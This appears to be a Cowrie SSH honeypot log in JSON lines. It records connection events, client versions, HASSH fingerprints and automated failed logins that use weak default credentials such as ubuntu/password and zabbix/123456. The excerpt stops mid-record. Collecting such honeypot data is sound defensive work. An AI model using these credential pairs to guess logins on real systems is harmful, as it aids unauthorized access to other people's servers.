{"eventid":"cowrie.session.closed","duration":"107.3","message":"Connection lost after 107.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:33.680556Z","src_ip":"8.218.166.49","session":"03d64551e6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:34.261387Z","src_ip":"47.86.95.62","session":"eb90e5454776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:35.594950Z","src_ip":"8.218.166.49","session":"8ba010322308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:35.741367Z","src_ip":"47.86.95.62","session":"eb90e5454776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49500,"dst_ip":"10.17.0.5","dst_port":22,"session":"5646e77429c7","protocol":"ssh","message":"New connection: 47.86.95.62:49500 (10.17.0.5:22) [session: 5646e77429c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:38.427642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:38.435490Z","src_ip":"47.86.95.62","session":"5646e77429c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:38.632523Z","src_ip":"47.86.95.62","session":"5646e77429c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"101.1","message":"Connection lost after 101.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:39.105019Z","src_ip":"8.218.166.49","session":"8ba010322308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:39.461469Z","src_ip":"47.86.95.62","session":"5646e77429c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:40.900100Z","src_ip":"47.86.95.62","session":"5646e77429c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:45.845439Z","src_ip":"8.218.166.49","session":"9f2f00252d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56852,"dst_ip":"10.17.0.5","dst_port":22,"session":"61b7bae9e180","protocol":"ssh","message":"New connection: 8.218.166.49:56852 (10.17.0.5:22) [session: 61b7bae9e180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:47.752604Z"}
{"eventid":"cowrie.session.closed","duration":"102.2","message":"Connection lost after 102.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:50.092049Z","src_ip":"8.218.166.49","session":"9f2f00252d19","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:51.366474Z","src_ip":"8.218.166.49","session":"61b7bae9e180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:51.371856Z","src_ip":"8.218.166.49","session":"61b7bae9e180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":57246,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f78bb4a4d5","protocol":"ssh","message":"New connection: 47.86.95.62:57246 (10.17.0.5:22) [session: 32f78bb4a4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:05.509514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:07.537235Z","src_ip":"47.86.95.62","session":"32f78bb4a4d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:07.541647Z","src_ip":"47.86.95.62","session":"32f78bb4a4d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:11.424974Z","src_ip":"47.86.95.62","session":"32f78bb4a4d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:12.884334Z","src_ip":"47.86.95.62","session":"32f78bb4a4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51846,"dst_ip":"10.17.0.5","dst_port":22,"session":"d55cb75fe3f8","protocol":"ssh","message":"New connection: 47.86.95.62:51846 (10.17.0.5:22) [session: d55cb75fe3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:15.705739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:15.719579Z","src_ip":"47.86.95.62","session":"d55cb75fe3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:15.927940Z","src_ip":"47.86.95.62","session":"d55cb75fe3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:16.662557Z","src_ip":"47.86.95.62","session":"d55cb75fe3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:17.870477Z","src_ip":"47.86.95.62","session":"d55cb75fe3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34350,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ef3ce30e8e","protocol":"ssh","message":"New connection: 47.86.95.62:34350 (10.17.0.5:22) [session: 72ef3ce30e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:21.629635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:21.823342Z","src_ip":"47.86.95.62","session":"72ef3ce30e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:33.596918Z","src_ip":"47.86.95.62","session":"72ef3ce30e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:36.327114Z","src_ip":"8.218.166.49","session":"61b7bae9e180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:38.663845Z","src_ip":"47.86.95.62","session":"72ef3ce30e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"51.0","message":"Connection lost after 51.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:38.743017Z","src_ip":"8.218.166.49","session":"61b7bae9e180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.5","message":"Connection lost after 19.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:41.181461Z","src_ip":"47.86.95.62","session":"72ef3ce30e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41282,"dst_ip":"10.17.0.5","dst_port":22,"session":"0caea364cc58","protocol":"ssh","message":"New connection: 47.86.95.62:41282 (10.17.0.5:22) [session: 0caea364cc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:45.734889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:45.741426Z","src_ip":"47.86.95.62","session":"0caea364cc58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:45.954283Z","src_ip":"47.86.95.62","session":"0caea364cc58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:46.686744Z","src_ip":"47.86.95.62","session":"0caea364cc58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:47.899703Z","src_ip":"47.86.95.62","session":"0caea364cc58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34512,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd12254cae38","protocol":"ssh","message":"New connection: 47.86.95.62:34512 (10.17.0.5:22) [session: dd12254cae38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:51.050441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:51.092065Z","src_ip":"47.86.95.62","session":"dd12254cae38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36682,"dst_ip":"10.17.0.5","dst_port":22,"session":"93fe89865faa","protocol":"ssh","message":"New connection: 8.218.166.49:36682 (10.17.0.5:22) [session: 93fe89865faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:55.787820Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.049367Z","src_ip":"47.86.95.62","session":"dd12254cae38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.34.214","src_port":36732,"dst_ip":"10.17.0.5","dst_port":22,"session":"9164a384e1e6","protocol":"ssh","message":"New connection: 141.95.34.214:36732 (10.17.0.5:22) [session: 9164a384e1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.091133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.097493Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 